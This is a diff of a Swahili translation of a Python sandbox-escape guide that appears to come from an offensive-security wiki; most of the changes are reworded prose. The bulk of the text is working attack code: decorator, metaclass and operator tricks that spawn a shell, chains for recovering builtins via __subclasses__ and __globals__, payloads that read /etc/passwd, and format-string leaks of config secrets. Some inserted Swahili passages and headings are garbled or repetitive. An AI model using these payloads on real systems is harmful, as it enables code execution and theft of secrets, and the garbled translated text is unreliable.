Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **utekelezaji wa kazi za kupindukia, nambari** na **maagizo**.
|
||||||
|
|
||||||
### RCE kwa kutumia [mapambo](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE na [mapambo](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
@exec
|
@exec
|
||||||
|
@ -248,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||||
```
|
```
|
||||||
#### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
#### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||||
|
|
||||||
Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kutengeneza darasa jipya na darasa lengwa kama metaclass.
|
||||||
```python
|
```python
|
||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||||
# This will define the members of the "subclass"
|
# This will define the members of the "subclass"
|
||||||
|
@ -285,7 +293,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
### Zaidi ya Uwezo wa Kudhibiti Kijijini (RCE)
|
### Zaidi ya Uwezekano wa Kudhibiti Kijijini (RCE)
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||||
|
@ -316,12 +324,12 @@ a.__class__.__exit__ = lambda self, *args: None
|
||||||
with (a as b):
|
with (a as b):
|
||||||
pass
|
pass
|
||||||
```
|
```
|
||||||
## Vifaa vya Ndani
|
## Zilizojengwa
|
||||||
|
|
||||||
* [**Vifaa vya Ndani vya python2**](https://docs.python.org/2/library/functions.html)
|
* [**Kazi za zilizojengwa za python2**](https://docs.python.org/2/library/functions.html)
|
||||||
* [**Vifaa vya Ndani vya python3**](https://docs.python.org/3/library/functions.html)
|
* [**Kazi za zilizojengwa za python3**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
Ikiwa unaweza kupata kitu cha **`__builtins__`** unaweza kuagiza maktaba (kumbuka unaweza pia kutumia hapa mwakilishi mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
|
Ikiwa unaweza kupata **`__builtins__`** kifaa unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa mwakilishi mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
|
||||||
```python
|
```python
|
||||||
__builtins__.__import__("os").system("ls")
|
__builtins__.__import__("os").system("ls")
|
||||||
__builtins__.__dict__['__import__']("os").system("ls")
|
__builtins__.__dict__['__import__']("os").system("ls")
|
||||||
|
@ -329,9 +337,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||||
### Hakuna Builtins
|
### Hakuna Builtins
|
||||||
|
|
||||||
Wakati huna `__builtins__` huwezi kuimport chochote wala kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\
|
Wakati huna `__builtins__` huwezi kuimport chochote wala kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\
|
||||||
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **kazi hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari za kubahatisha**.
|
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **funksheni hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari ya kiholela**.
|
||||||
|
|
||||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **kazi hatari** ndani yao.
|
Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **funksheni hatari** ndani yao.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
```python
|
```python
|
||||||
|
@ -356,7 +364,13 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
#### Python3
|
#### Python3
|
||||||
|
|
||||||
#### Kiswahili
|
### Kizuizi cha Python
|
||||||
|
|
||||||
|
Kizuizi cha Python ni mbinu ambayo inaweza kutumika kuzuia au kudhibiti upatikanaji wa vitu vya Python kama vile moduli, vipengele, au kazi. Kizuizi hiki kinaweza kudhibitiwa kwa kutumia mbinu za kudhibiti upatikanaji wa vitu vya Python kama vile kuzuia upatikanaji wa vipengele vya hatari au kuzuia upatikanaji wa faili za mfumo.
|
||||||
|
|
||||||
|
### Kupuuza Kizuizi cha Python
|
||||||
|
|
||||||
|
Kupuuza kizuizi cha Python kunahusisha kutafuta njia za kuzunguka au kudhibiti kizuizi hicho ili kupata upatikanaji usioidhinishwa au kufanya vitendo visivyoruhusiwa. Hii inaweza kufanyika kwa kutumia mbinu za kubadilisha mazingira ya kufanya kazi ya Python au kwa kutumia mbinu za kudanganya kizuizi hicho.
|
||||||
```python
|
```python
|
||||||
# Obtain builtins from a globally defined function
|
# Obtain builtins from a globally defined function
|
||||||
# https://docs.python.org/3/library/functions.html
|
# https://docs.python.org/3/library/functions.html
|
||||||
|
@ -375,7 +389,7 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kutafuta **tens/hundreds** ya **mahali** ambapo unaweza kupata **builtins**.
|
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **builtins**.
|
||||||
|
|
||||||
#### Python2 na Python3
|
#### Python2 na Python3
|
||||||
```python
|
```python
|
||||||
|
@ -383,7 +397,7 @@ get_flag.__globals__['__builtins__']
|
||||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||||
__builtins__["__import__"]('os').system('ls')
|
__builtins__["__import__"]('os').system('ls')
|
||||||
```
|
```
|
||||||
### Mzigo wa kujengwa ndani
|
### Mzigo wa kujengwa wa kujengwa
|
||||||
```python
|
```python
|
||||||
# Possible payloads once you have found the builtins
|
# Possible payloads once you have found the builtins
|
||||||
__builtins__["open"]("/etc/passwd").read()
|
__builtins__["open"]("/etc/passwd").read()
|
||||||
|
@ -393,7 +407,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||||
```
|
```
|
||||||
## Globals na locals
|
## Globals na locals
|
||||||
|
|
||||||
Kuchunguza **`globals`** na **`locals`** ni njia nzuri ya kujua unaweza kupata nini.
|
Kuangalia **`globals`** na **`locals`** ni njia nzuri ya kujua unaweza kupata nini.
|
||||||
```python
|
```python
|
||||||
>>> globals()
|
>>> globals()
|
||||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||||
|
@ -417,13 +431,13 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **globals**.
|
[**Hapa chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **maeneo** ambapo unaweza kupata **globals**.
|
||||||
|
|
||||||
## Kugundua Utekelezaji wa Kiholela
|
## Kugundua Utekelezaji wa Kiholela
|
||||||
|
|
||||||
Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi.
|
Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi.
|
||||||
|
|
||||||
#### Kupata darasa za chini kwa kuzidisha
|
#### Kupata Darasa za Kufikia kwa Kupita
|
||||||
|
|
||||||
Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza **kupata darasa za msingi**. Katika mifano iliyopita hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia zingine zinazowezekana**:
|
Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza **kupata darasa za msingi**. Katika mifano iliyopita hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia zingine zinazowezekana**:
|
||||||
```python
|
```python
|
||||||
|
@ -550,10 +564,10 @@ execfile:
|
||||||
execute:
|
execute:
|
||||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||||
```
|
```
|
||||||
## Utafutaji wa Kurejelea wa Vitu vya Kujengwa, Globals...
|
## Tafuta Kwa Kina ya Vitu vya Kujengwa, Globals...
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia skripti hii **kutafuta kwa kina maeneo ambapo unaweza kupata kile kitu.**
|
Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia script hii **kutafuta kwa kina maeneo ambapo unaweza kupata kitu hicho.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
@ -676,9 +690,9 @@ Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:
|
||||||
[broken-reference](broken-reference/)
|
[broken-reference](broken-reference/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Python Format String
|
## Fomati ya Python String
|
||||||
|
|
||||||
Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imeboreshwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata vitu vya kawaida au vya kujengwa kwa mfano.
|
Ikiwa unatuma **string** kwa python ambayo itakuwa **imefomatiwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari ya kupindukia**, tu kusoma taarifa.\
|
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari ya kupindukia**, tu kusoma taarifa.\
|
||||||
|
@ -703,16 +717,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Tambua jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukta `__globals__[CONFIG]`
|
Tafadhali angalia jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukta `__globals__[CONFIG]`
|
||||||
|
|
||||||
Pia kumbuka unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Pia angalia unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Zaidi ya hayo, ni **inawezekana kuandika wapangaji wa fomati mpya** katika darasa:
|
Zaidi ya hayo, ni **inawezekana kuandika wapangaji mpya** katika darasa:
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
